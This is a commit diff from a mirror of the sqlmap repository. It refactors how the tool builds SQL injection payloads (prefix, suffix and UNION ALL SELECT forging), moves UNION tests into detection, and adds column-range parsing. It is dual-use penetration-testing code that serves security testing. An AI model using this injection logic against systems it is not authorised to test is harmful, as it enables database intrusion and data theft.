mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-06-22 22:13:08 +03:00
First big commit to move UNION query tests to detection phase - there are some improvements and tuning to do yet though.
Major refactoring to Agent.payload() method. Minor bug fixes, some code refactoring and a lot of core adjustments here and there. Added more checks for injection in GROUP BY and ORDER BY.
This commit is contained in:
parent
06230e4d92
commit
300128042c
|
@ -32,6 +32,7 @@ from lib.core.common import trimAlphaNum
|
||||||
from lib.core.common import wasLastRequestDBMSError
|
from lib.core.common import wasLastRequestDBMSError
|
||||||
from lib.core.common import wasLastRequestHTTPError
|
from lib.core.common import wasLastRequestHTTPError
|
||||||
from lib.core.common import DynamicContentItem
|
from lib.core.common import DynamicContentItem
|
||||||
|
from lib.core.common import configUnion
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -55,8 +56,12 @@ from lib.core.settings import UPPER_RATIO_BOUND
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.request.templates import getPageTemplate
|
from lib.request.templates import getPageTemplate
|
||||||
|
from lib.techniques.inband.union.test import unionTest
|
||||||
|
|
||||||
def unescape(string, dbms):
|
def unescape(string, dbms):
|
||||||
|
if string is None:
|
||||||
|
return string
|
||||||
|
|
||||||
if dbms in unescaper and "WAITFOR DELAY " not in string:
|
if dbms in unescaper and "WAITFOR DELAY " not in string:
|
||||||
return unescaper[dbms](string)
|
return unescaper[dbms](string)
|
||||||
else:
|
else:
|
||||||
|
@ -84,8 +89,9 @@ def checkSqlInjection(place, parameter, value):
|
||||||
# Set the flag for sql injection test mode
|
# Set the flag for sql injection test mode
|
||||||
kb.testMode = True
|
kb.testMode = True
|
||||||
|
|
||||||
for test in getInjectionTests():
|
#for test in getInjectionTests():
|
||||||
try:
|
for test in conf.tests:
|
||||||
|
try:
|
||||||
if kb.endDetection:
|
if kb.endDetection:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -143,11 +149,12 @@ def checkSqlInjection(place, parameter, value):
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes()\
|
# NOTE: Leave this commented for the time being
|
||||||
and kb.skipTests is None:
|
#if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes() and kb.skipTests is None:
|
||||||
message = "parsed error message(s) showed that the back-end DBMS could be '%s'." % getErrorParsedDBMSesFormatted()
|
# msg = "parsed error message(s) showed that the "
|
||||||
message += " do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
# msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted()
|
||||||
kb.skipTests = conf.realTest or readInput(message, default="Y") not in ("n", "N")
|
# msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||||
|
# kb.skipTests = conf.realTest or readInput(msg, default="Y") not in ("n", "N")
|
||||||
|
|
||||||
if kb.skipTests:
|
if kb.skipTests:
|
||||||
debugMsg = "skipping test '%s' because " % title
|
debugMsg = "skipping test '%s' because " % title
|
||||||
|
@ -189,7 +196,6 @@ def checkSqlInjection(place, parameter, value):
|
||||||
comment = agent.getComment(test.request)
|
comment = agent.getComment(test.request)
|
||||||
fstPayload = agent.cleanupPayload(test.request.payload, value)
|
fstPayload = agent.cleanupPayload(test.request.payload, value)
|
||||||
fstPayload = unescapeDbms(fstPayload, injection, dbms)
|
fstPayload = unescapeDbms(fstPayload, injection, dbms)
|
||||||
fstPayload = "%s%s" % (fstPayload, comment)
|
|
||||||
|
|
||||||
if stype != 4 and clause != [2, 3] and clause != [ 3 ]:
|
if stype != 4 and clause != [2, 3] and clause != [ 3 ]:
|
||||||
space = " "
|
space = " "
|
||||||
|
@ -280,11 +286,11 @@ def checkSqlInjection(place, parameter, value):
|
||||||
if where == 1:
|
if where == 1:
|
||||||
origValue = value
|
origValue = value
|
||||||
elif where == 2:
|
elif where == 2:
|
||||||
|
# Use different page template than the original
|
||||||
|
# one as we are changing parameters value, which
|
||||||
|
# will likely result in a different content
|
||||||
origValue = "-%s" % randomInt()
|
origValue = "-%s" % randomInt()
|
||||||
# Use different page template than the original one
|
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
|
||||||
# as we are changing parameters value, which will result
|
|
||||||
# most definitely with a different content
|
|
||||||
templatePayload = agent.payload(place, parameter, value, origValue)
|
|
||||||
elif where == 3:
|
elif where == 3:
|
||||||
origValue = ""
|
origValue = ""
|
||||||
|
|
||||||
|
@ -293,10 +299,11 @@ def checkSqlInjection(place, parameter, value):
|
||||||
# Forge request payload by prepending with boundary's
|
# Forge request payload by prepending with boundary's
|
||||||
# prefix and appending the boundary's suffix to the
|
# prefix and appending the boundary's suffix to the
|
||||||
# test's ' <payload><comment> ' string
|
# test's ' <payload><comment> ' string
|
||||||
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, fstPayload, suffix)
|
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
|
||||||
boundPayload = boundPayload.strip()
|
boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
|
||||||
boundPayload = agent.cleanupPayload(boundPayload, value)
|
boundPayload = agent.cleanupPayload(boundPayload, value)
|
||||||
reqPayload = agent.payload(place, parameter, value, boundPayload)
|
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
||||||
|
unionVector = None
|
||||||
|
|
||||||
# Perform the test's request and check whether or not the
|
# Perform the test's request and check whether or not the
|
||||||
# payload was successful
|
# payload was successful
|
||||||
|
@ -308,16 +315,15 @@ def checkSqlInjection(place, parameter, value):
|
||||||
if method == PAYLOAD.METHOD.COMPARISON:
|
if method == PAYLOAD.METHOD.COMPARISON:
|
||||||
sndPayload = agent.cleanupPayload(test.response.comparison, value)
|
sndPayload = agent.cleanupPayload(test.response.comparison, value)
|
||||||
sndPayload = unescapeDbms(sndPayload, injection, dbms)
|
sndPayload = unescapeDbms(sndPayload, injection, dbms)
|
||||||
sndPayload = "%s%s" % (sndPayload, comment)
|
|
||||||
|
|
||||||
# Forge response payload by prepending with
|
# Forge response payload by prepending with
|
||||||
# boundary's prefix and appending the boundary's
|
# boundary's prefix and appending the boundary's
|
||||||
# suffix to the test's ' <payload><comment> '
|
# suffix to the test's ' <payload><comment> '
|
||||||
# string
|
# string
|
||||||
boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, sndPayload, suffix)
|
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
|
||||||
boundPayload = boundPayload.strip()
|
boundPayload = agent.suffixQuery(boundPayload, comment, suffix)
|
||||||
boundPayload = agent.cleanupPayload(boundPayload, value)
|
boundPayload = agent.cleanupPayload(boundPayload, value)
|
||||||
cmpPayload = agent.payload(place, parameter, value, boundPayload)
|
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
||||||
|
|
||||||
# Useful to set kb.matchRatio at first based on
|
# Useful to set kb.matchRatio at first based on
|
||||||
# the False response content
|
# the False response content
|
||||||
|
@ -337,7 +343,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
|
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
# In case of error-based or UNION query SQL injections
|
# In case of error-based SQL injection
|
||||||
elif method == PAYLOAD.METHOD.GREP:
|
elif method == PAYLOAD.METHOD.GREP:
|
||||||
# Perform the test's request and grep the response
|
# Perform the test's request and grep the response
|
||||||
# body for the test's <grep> regular expression
|
# body for the test's <grep> regular expression
|
||||||
|
@ -369,6 +375,20 @@ def checkSqlInjection(place, parameter, value):
|
||||||
|
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
|
# In case of UNION query SQL injection
|
||||||
|
elif method == PAYLOAD.METHOD.UNION:
|
||||||
|
conf.uChar = test.request.char
|
||||||
|
conf.uCols = test.request.columns
|
||||||
|
configUnion()
|
||||||
|
|
||||||
|
reqPayload, unionVector = unionTest(comment, place, parameter, value, prefix, suffix)
|
||||||
|
|
||||||
|
if isinstance(reqPayload, basestring):
|
||||||
|
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
injectable = True
|
||||||
|
|
||||||
# If the injection test was successful feed the injection
|
# If the injection test was successful feed the injection
|
||||||
# object with the test's details
|
# object with the test's details
|
||||||
if injectable is True:
|
if injectable is True:
|
||||||
|
@ -396,7 +416,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
injection.data[stype].title = title
|
injection.data[stype].title = title
|
||||||
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False)
|
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False)
|
||||||
injection.data[stype].where = where
|
injection.data[stype].where = where
|
||||||
injection.data[stype].vector = vector
|
injection.data[stype].vector = agent.cleanupPayload(vector, unionVector=unionVector)
|
||||||
injection.data[stype].comment = comment
|
injection.data[stype].comment = comment
|
||||||
injection.data[stype].matchRatio = kb.matchRatio
|
injection.data[stype].matchRatio = kb.matchRatio
|
||||||
injection.data[stype].templatePayload = templatePayload
|
injection.data[stype].templatePayload = templatePayload
|
||||||
|
@ -439,9 +459,6 @@ def checkSqlInjection(place, parameter, value):
|
||||||
kb.endDetection = True
|
kb.endDetection = True
|
||||||
elif test[0] in ("q", "Q"):
|
elif test[0] in ("q", "Q"):
|
||||||
raise sqlmapUserQuitException
|
raise sqlmapUserQuitException
|
||||||
finally:
|
|
||||||
# Flush the flag
|
|
||||||
kb.testMode = False
|
|
||||||
|
|
||||||
# Return the injection object
|
# Return the injection object
|
||||||
if injection.place is not None and injection.parameter is not None:
|
if injection.place is not None and injection.parameter is not None:
|
||||||
|
@ -466,8 +483,8 @@ def heuristicCheckSqlInjection(place, parameter, value):
|
||||||
if conf.suffix:
|
if conf.suffix:
|
||||||
suffix = conf.suffix
|
suffix = conf.suffix
|
||||||
|
|
||||||
payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
|
payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
|
||||||
payload = agent.payload(place, parameter, value, payload)
|
payload = agent.payload(place, parameter, newValue=payload)
|
||||||
Request.queryPage(payload, place, content=True, raise404=False)
|
Request.queryPage(payload, place, content=True, raise404=False)
|
||||||
|
|
||||||
result = wasLastRequestDBMSError()
|
result = wasLastRequestDBMSError()
|
||||||
|
@ -808,13 +825,14 @@ def checkConnection(suppressOutput=False):
|
||||||
kb.originalPage = kb.pageTemplate = page
|
kb.originalPage = kb.pageTemplate = page
|
||||||
|
|
||||||
kb.errorIsNone = False
|
kb.errorIsNone = False
|
||||||
|
|
||||||
if wasLastRequestDBMSError():
|
if wasLastRequestDBMSError():
|
||||||
warnMsg = "there is an (DBMS) error found in the content of provided target url"
|
warnMsg = "there is a DBMS error found in the HTTP response body"
|
||||||
warnMsg += " which could interfere with the results of the tests"
|
warnMsg += "which could interfere with the results of the tests"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
elif wasLastRequestHTTPError():
|
elif wasLastRequestHTTPError():
|
||||||
warnMsg = "there is an (HTTP) error found in the content of provided target url"
|
warnMsg = "the web server responded with an HTTP error code "
|
||||||
warnMsg += " which could interfere with the results of the tests"
|
warnMsg += "which could interfere with the results of the tests"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
else:
|
else:
|
||||||
kb.errorIsNone = True
|
kb.errorIsNone = True
|
||||||
|
|
|
@ -110,8 +110,8 @@ def __formatInjection(inj):
|
||||||
return data
|
return data
|
||||||
|
|
||||||
def __showInjections():
|
def __showInjections():
|
||||||
header = "sqlmap identified the following injection points "
|
header = "sqlmap identified the following injection points with "
|
||||||
header += "with %d HTTP(s) requests" % kb.testQueryCount
|
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
||||||
data = ""
|
data = ""
|
||||||
|
|
||||||
for inj in kb.injections:
|
for inj in kb.injections:
|
||||||
|
@ -349,12 +349,11 @@ def start():
|
||||||
not simpletonCheckSqlInjection(place, parameter, value):
|
not simpletonCheckSqlInjection(place, parameter, value):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "testing sql injection on %s " % place
|
logMsg = "testing sql injection on %s " % place
|
||||||
logMsg += "parameter '%s'" % parameter
|
logMsg += "parameter '%s'" % parameter
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
injection = checkSqlInjection(place, parameter, value)
|
injection = checkSqlInjection(place, parameter, value)
|
||||||
|
|
||||||
proceed = not kb.endDetection
|
proceed = not kb.endDetection
|
||||||
|
|
||||||
if injection is not None and injection.place is not None:
|
if injection is not None and injection.place is not None:
|
||||||
|
@ -373,7 +372,7 @@ def start():
|
||||||
paramKey = (conf.hostname, conf.path, None, None)
|
paramKey = (conf.hostname, conf.path, None, None)
|
||||||
kb.testedParams.add(paramKey)
|
kb.testedParams.add(paramKey)
|
||||||
else:
|
else:
|
||||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||||
warnMsg += "injectable"
|
warnMsg += "injectable"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -386,6 +385,9 @@ def start():
|
||||||
errMsg = "it seems that all parameters are not injectable"
|
errMsg = "it seems that all parameters are not injectable"
|
||||||
raise sqlmapNotVulnerableException, errMsg
|
raise sqlmapNotVulnerableException, errMsg
|
||||||
else:
|
else:
|
||||||
|
# Flush the flag
|
||||||
|
kb.testMode = False
|
||||||
|
|
||||||
__saveToSessionFile()
|
__saveToSessionFile()
|
||||||
__showInjections()
|
__showInjections()
|
||||||
__selectInjection()
|
__selectInjection()
|
||||||
|
|
|
@ -53,7 +53,7 @@ class Agent:
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
|
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
|
||||||
"""
|
"""
|
||||||
This method replaces the affected parameter with the SQL
|
This method replaces the affected parameter with the SQL
|
||||||
injection statement to request
|
injection statement to request
|
||||||
|
@ -62,59 +62,38 @@ class Agent:
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
return self.payloadDirect(newValue)
|
return self.payloadDirect(newValue)
|
||||||
|
|
||||||
falseValue = ""
|
retValue = ""
|
||||||
negValue = ""
|
|
||||||
retValue = ""
|
|
||||||
|
|
||||||
if negative or kb.unionNegative:
|
if where is None and isTechniqueAvailable(kb.technique):
|
||||||
negValue = "-"
|
where = kb.injection.data[kb.technique].where
|
||||||
|
|
||||||
# After identifing the injectable parameter
|
if kb.injection.place is not None:
|
||||||
if kb.injection.place == PLACE.UA and kb.injection.parameter:
|
place = kb.injection.place
|
||||||
retValue = kb.injection.parameter.replace(kb.injection.parameter,
|
|
||||||
self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue)))
|
|
||||||
elif kb.injection.place and kb.injection.parameter:
|
|
||||||
paramString = conf.parameters[kb.injection.place]
|
|
||||||
paramDict = conf.paramDict[kb.injection.place]
|
|
||||||
origValue = paramDict[kb.injection.parameter]
|
|
||||||
|
|
||||||
if isTechniqueAvailable(kb.technique):
|
if kb.injection.parameter is not None:
|
||||||
where = kb.injection.data[kb.technique].where
|
parameter = kb.injection.parameter
|
||||||
|
|
||||||
|
if place == PLACE.UA:
|
||||||
|
retValue = parameter.replace(parameter, self.addPayloadDelimiters(parameter + newValue))
|
||||||
|
else:
|
||||||
|
paramString = conf.parameters[place]
|
||||||
|
paramDict = conf.paramDict[place]
|
||||||
|
origValue = paramDict[parameter]
|
||||||
|
|
||||||
|
if value is None:
|
||||||
if where == 1:
|
if where == 1:
|
||||||
value = origValue
|
value = origValue
|
||||||
elif where == 2:
|
elif where == 2:
|
||||||
value = "-%s" % randomInt()
|
value = "-%s" % randomInt()
|
||||||
elif where == 3:
|
elif where == 3:
|
||||||
value = ""
|
value = ""
|
||||||
else:
|
else:
|
||||||
value = origValue
|
value = origValue
|
||||||
|
|
||||||
|
newValue = "%s%s" % (value, newValue)
|
||||||
|
|
||||||
newValue = self.cleanupPayload(newValue, origValue)
|
newValue = self.cleanupPayload(newValue, origValue)
|
||||||
|
|
||||||
if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST:
|
|
||||||
root = ET.XML(paramString)
|
|
||||||
iterator = root.getiterator(kb.injection.parameter)
|
|
||||||
|
|
||||||
for child in iterator:
|
|
||||||
child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
|
|
||||||
|
|
||||||
retValue = ET.tostring(root)
|
|
||||||
elif kb.injection.place == PLACE.URI:
|
|
||||||
retValue = paramString.replace("*",
|
|
||||||
self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
|
|
||||||
else:
|
|
||||||
retValue = paramString.replace("%s=%s" % (kb.injection.parameter, origValue),
|
|
||||||
"%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
|
|
||||||
|
|
||||||
# Before identifing the injectable parameter
|
|
||||||
elif parameter == PLACE.UA:
|
|
||||||
retValue = value.replace(value, self.addPayloadDelimiters(newValue))
|
|
||||||
elif place == PLACE.URI:
|
|
||||||
retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str())))
|
|
||||||
else:
|
|
||||||
paramString = conf.parameters[place]
|
|
||||||
|
|
||||||
if "POSTxml" in conf.paramDict and place == PLACE.POST:
|
if "POSTxml" in conf.paramDict and place == PLACE.POST:
|
||||||
root = ET.XML(paramString)
|
root = ET.XML(paramString)
|
||||||
iterator = root.getiterator(parameter)
|
iterator = root.getiterator(parameter)
|
||||||
|
@ -123,10 +102,13 @@ class Agent:
|
||||||
child.text = self.addPayloadDelimiters(newValue)
|
child.text = self.addPayloadDelimiters(newValue)
|
||||||
|
|
||||||
retValue = ET.tostring(root)
|
retValue = ET.tostring(root)
|
||||||
|
elif place == PLACE.URI:
|
||||||
|
retValue = paramString.replace("*", self.addPayloadDelimiters(newValue))
|
||||||
else:
|
else:
|
||||||
retValue = paramString.replace("%s=%s" % (parameter, value),
|
retValue = paramString.replace("%s=%s" % (parameter, origValue),
|
||||||
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
|
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
|
||||||
|
|
||||||
|
# print "retValue:", retValue
|
||||||
return retValue
|
return retValue
|
||||||
|
|
||||||
def fullPayload(self, query):
|
def fullPayload(self, query):
|
||||||
|
@ -139,7 +121,7 @@ class Agent:
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
def prefixQuery(self, string):
|
def prefixQuery(self, string, prefix=None, where=None, clause=None):
|
||||||
"""
|
"""
|
||||||
This method defines how the input string has to be escaped
|
This method defines how the input string has to be escaped
|
||||||
to perform the injection depending on the injection type
|
to perform the injection depending on the injection type
|
||||||
|
@ -156,9 +138,10 @@ class Agent:
|
||||||
# payload, do not put a space after the prefix
|
# payload, do not put a space after the prefix
|
||||||
if kb.technique == PAYLOAD.TECHNIQUE.STACKED:
|
if kb.technique == PAYLOAD.TECHNIQUE.STACKED:
|
||||||
query = kb.injection.prefix
|
query = kb.injection.prefix
|
||||||
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 3 ]:
|
elif where == 3 or clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
|
||||||
if kb.technique != PAYLOAD.TECHNIQUE.UNION:
|
query = prefix
|
||||||
query = kb.injection.prefix
|
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
|
||||||
|
query = kb.injection.prefix
|
||||||
elif kb.technique and kb.technique in kb.injection.data:
|
elif kb.technique and kb.technique in kb.injection.data:
|
||||||
where = kb.injection.data[kb.technique].where
|
where = kb.injection.data[kb.technique].where
|
||||||
|
|
||||||
|
@ -166,14 +149,17 @@ class Agent:
|
||||||
query = kb.injection.prefix
|
query = kb.injection.prefix
|
||||||
|
|
||||||
if query is None:
|
if query is None:
|
||||||
query = "%s " % kb.injection.prefix
|
if kb.injection.prefix is None and prefix is not None:
|
||||||
|
query = "%s " % prefix
|
||||||
|
else:
|
||||||
|
query = "%s " % kb.injection.prefix
|
||||||
|
|
||||||
query = "%s%s" % (query, string)
|
query = "%s%s" % (query, string)
|
||||||
query = self.cleanupPayload(query)
|
query = self.cleanupPayload(query)
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
def suffixQuery(self, string, comment=None):
|
def suffixQuery(self, string, comment=None, suffix=None):
|
||||||
"""
|
"""
|
||||||
This method appends the DBMS comment to the
|
This method appends the DBMS comment to the
|
||||||
SQL injection request
|
SQL injection request
|
||||||
|
@ -185,12 +171,16 @@ class Agent:
|
||||||
if comment is not None:
|
if comment is not None:
|
||||||
string += comment
|
string += comment
|
||||||
|
|
||||||
string += " %s" % kb.injection.suffix
|
if kb.injection.suffix is None and suffix is not None:
|
||||||
|
string += " %s" % suffix
|
||||||
|
else:
|
||||||
|
string += " %s" % kb.injection.suffix
|
||||||
|
|
||||||
string = self.cleanupPayload(string)
|
string = self.cleanupPayload(string)
|
||||||
|
|
||||||
return string.rstrip()
|
return string.rstrip()
|
||||||
|
|
||||||
def cleanupPayload(self, payload, origvalue=None):
|
def cleanupPayload(self, payload, origvalue=None, unionVector=None):
|
||||||
if payload is None:
|
if payload is None:
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -207,11 +197,9 @@ class Agent:
|
||||||
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
|
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
|
||||||
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
|
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
|
||||||
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
|
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
|
||||||
|
payload = payload.replace("[UNION]", str(unionVector))
|
||||||
|
|
||||||
if origvalue is not None:
|
if origvalue is not None:
|
||||||
if not origvalue.isdigit():
|
|
||||||
origvalue = "'%s'" % origvalue
|
|
||||||
|
|
||||||
payload = payload.replace("[ORIGVALUE]", origvalue)
|
payload = payload.replace("[ORIGVALUE]", origvalue)
|
||||||
|
|
||||||
if "[INFERENCE]" in payload:
|
if "[INFERENCE]" in payload:
|
||||||
|
@ -228,14 +216,15 @@ class Agent:
|
||||||
|
|
||||||
payload = payload.replace("[INFERENCE]", inferenceQuery)
|
payload = payload.replace("[INFERENCE]", inferenceQuery)
|
||||||
|
|
||||||
elif kb.misc.testedDbms is not None:
|
elif hasattr(kb.misc, "testedDbms") and kb.misc.testedDbms is not None:
|
||||||
inferenceQuery = queries[kb.misc.testedDbms].inference.query
|
inferenceQuery = queries[kb.misc.testedDbms].inference.query
|
||||||
payload = payload.replace("[INFERENCE]", inferenceQuery)
|
payload = payload.replace("[INFERENCE]", inferenceQuery)
|
||||||
|
|
||||||
else:
|
# NOTE: Leave this commented for the time being
|
||||||
errMsg = "invalid usage of inference payload without "
|
#else:
|
||||||
errMsg += "knowledge of underlying DBMS"
|
# errMsg = "invalid usage of inference payload without "
|
||||||
raise sqlmapNoneDataException, errMsg
|
# errMsg += "knowledge of underlying DBMS"
|
||||||
|
# raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
|
@ -483,7 +472,7 @@ class Agent:
|
||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, multipleUnions=None):
|
def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, prefix=None, suffix=None, multipleUnions=None):
|
||||||
"""
|
"""
|
||||||
Take in input an query (pseudo query) string and return its
|
Take in input an query (pseudo query) string and return its
|
||||||
processed UNION ALL SELECT query.
|
processed UNION ALL SELECT query.
|
||||||
|
@ -526,7 +515,7 @@ class Agent:
|
||||||
if query.startswith("SELECT "):
|
if query.startswith("SELECT "):
|
||||||
query = query[len("SELECT "):]
|
query = query[len("SELECT "):]
|
||||||
|
|
||||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
|
||||||
|
|
||||||
if query.startswith("TOP"):
|
if query.startswith("TOP"):
|
||||||
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
||||||
|
@ -584,8 +573,7 @@ class Agent:
|
||||||
if kb.dbms == DBMS.ORACLE:
|
if kb.dbms == DBMS.ORACLE:
|
||||||
inbandQuery += " FROM DUAL"
|
inbandQuery += " FROM DUAL"
|
||||||
|
|
||||||
|
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
||||||
inbandQuery = self.suffixQuery(inbandQuery, comment)
|
|
||||||
|
|
||||||
return inbandQuery
|
return inbandQuery
|
||||||
|
|
||||||
|
|
|
@ -1935,6 +1935,7 @@ def initTechnique(technique=None):
|
||||||
"""
|
"""
|
||||||
Prepares proper page template and match ratio for technique specified
|
Prepares proper page template and match ratio for technique specified
|
||||||
"""
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
data = getTechniqueData(technique)
|
data = getTechniqueData(technique)
|
||||||
|
|
||||||
|
@ -1945,7 +1946,8 @@ def initTechnique(technique=None):
|
||||||
warnMsg = "there is no injection data available for technique "
|
warnMsg = "there is no injection data available for technique "
|
||||||
warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique)
|
warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
except sqlmapDataException, ex:
|
|
||||||
|
except sqlmapDataException, _:
|
||||||
errMsg = "missing data in old session file(s). "
|
errMsg = "missing data in old session file(s). "
|
||||||
errMsg += "please use '--flush-session' to deal "
|
errMsg += "please use '--flush-session' to deal "
|
||||||
errMsg += "with this error"
|
errMsg += "with this error"
|
||||||
|
@ -2063,3 +2065,35 @@ def openFile(filename, mode='r'):
|
||||||
('w' in mode or 'a' in mode or '+' in mode) else "read")
|
('w' in mode or 'a' in mode or '+' in mode) else "read")
|
||||||
errMsg += "and that it's not locked by another process."
|
errMsg += "and that it's not locked by another process."
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
def configUnion():
|
||||||
|
if isinstance(conf.uCols, basestring):
|
||||||
|
debugMsg = "setting the UNION query SQL injection range of columns"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if "-" not in conf.uCols or len(conf.uCols.split("-")) != 2:
|
||||||
|
raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
|
||||||
|
|
||||||
|
conf.uCols = conf.uCols.replace(" ", "")
|
||||||
|
conf.uColsStart, conf.uColsStop = conf.uCols.split("-")
|
||||||
|
|
||||||
|
if not conf.uColsStart.isdigit() or not conf.uColsStop.isdigit():
|
||||||
|
raise sqlmapSyntaxException, "--union-cols must be a range of integers"
|
||||||
|
|
||||||
|
conf.uColsStart = int(conf.uColsStart)
|
||||||
|
conf.uColsStop = int(conf.uColsStop)
|
||||||
|
|
||||||
|
if conf.uColsStart > conf.uColsStop:
|
||||||
|
errMsg = "--union-cols range has to be from lower to "
|
||||||
|
errMsg += "higher number of columns"
|
||||||
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
if isinstance(conf.uChar, basestring) and conf.uChar != "NULL":
|
||||||
|
debugMsg = "setting the UNION query SQL injection character to '%s'" % conf.uChar
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if not conf.uChar.isdigit() and ( not conf.uChar.startswith("'") or not conf.uChar.endswith("'") ):
|
||||||
|
debugMsg = "forcing the UNION query SQL injection character to '%s'" % conf.uChar
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.uChar = "'%s'" % conf.uChar
|
||||||
|
|
|
@ -204,70 +204,18 @@ def setUnion(comment=None, count=None, position=None, negative=False, char=None,
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if comment:
|
if comment:
|
||||||
condition = (
|
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
|
||||||
not kb.resumedQueries[conf.url].has_key("Union comment") )
|
|
||||||
)
|
|
||||||
|
|
||||||
if condition:
|
|
||||||
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment)))
|
|
||||||
|
|
||||||
kb.unionComment = comment
|
kb.unionComment = comment
|
||||||
|
|
||||||
if count:
|
if count:
|
||||||
condition = (
|
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
|
||||||
not kb.resumedQueries[conf.url].has_key("Union count") )
|
|
||||||
)
|
|
||||||
|
|
||||||
if condition:
|
|
||||||
dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count))
|
|
||||||
|
|
||||||
kb.unionCount = count
|
kb.unionCount = count
|
||||||
|
|
||||||
if position is not None:
|
if position is not None:
|
||||||
condition = (
|
|
